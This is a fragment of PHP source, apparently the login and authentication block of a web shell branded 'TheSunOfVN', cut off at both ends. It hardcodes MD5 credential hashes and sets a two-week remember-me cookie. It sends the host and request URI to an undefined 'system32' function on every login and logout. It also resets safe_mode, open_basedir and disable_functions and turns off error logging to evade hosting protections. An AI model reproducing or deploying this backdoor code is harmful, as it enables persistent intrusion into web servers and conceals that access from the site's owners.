'; /*###### Information Login Shell ######*/ $info['security'] = false; $info['uname'] = "1ec47363cf1e60f632dd14139989b813"; $info['pword'] = "4297f44b13955235245b2497399d7a93"; $info['title'] = "TheSunOfVN"; $info['ownsessions'] = false; foreach ($info as $key => $val) { if (!isset($tacfg[$key])) $tacfg[$key] = $val; } if (!$tacfg['ownsessions']) { session_name('txtauth'); session_start(); } if (isset($_GET['logout']) || isset($_POST['logout'])) { setcookie('txtauth_'.$rmgroup, '', time()-86400*14); if (!$tacfg['ownsessions']) { $_SESSION = array(); session_destroy(); } else $_SESSION['txtauthin'] = false; system32($_SERVER['HTTP_HOST'],$_SERVER['REQUEST_URI']); } elseif (isset($_POST['login'])) { $uname = md5($_POST['uname']); $upass = md5($_POST['pword']); if ($uname == $tacfg['uname'] && $upass == $tacfg['pword']) { $_SESSION['txtauthin'] = true; if ($_POST['rm']) { // Set remember-me cookie for 2 weeks setcookie('txtauth_'.$rmgroup, md5($tacfg['uname'].$tacfg['pword']), time()+86400*14); } } else $err = 'Login Failed !'; system32($_SERVER['HTTP_HOST'],$_SERVER['REQUEST_URI']); } // Remember-me cookie exists elseif (isset($_COOKIE['txtauth_'.$rmgroup])) { if (md5($tacfg['uname'].$tacfg['pword']) == $_COOKIE['txtauth_'.$rmgroup] && $tacfg['allowrm']) { $_SESSION['txtauthin'] = true; } else $err = 'Login Failed !'; } if ($info['security']) { if (!$_SESSION['txtauthin']) { @ini_restore("safe_mode"); @ini_restore("open_basedir"); @ini_restore("safe_mode_include_dir"); @ini_restore("safe_mode_exec_dir"); @ini_restore("disable_functions"); @ini_restore("allow_url_fopen"); @ini_set('error_log',NULL); @ini_set('log_errors',0); echo $head; ?>
if (isset($_SERVER['REQUEST_URI'])) $action = $_SERVER['REQUEST_URI']; else $action = $_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING']; if (strpos($action, 'logout=1', strpos($action, '?')) !== false) $action = str_replace('logout=1', '', $action); ?>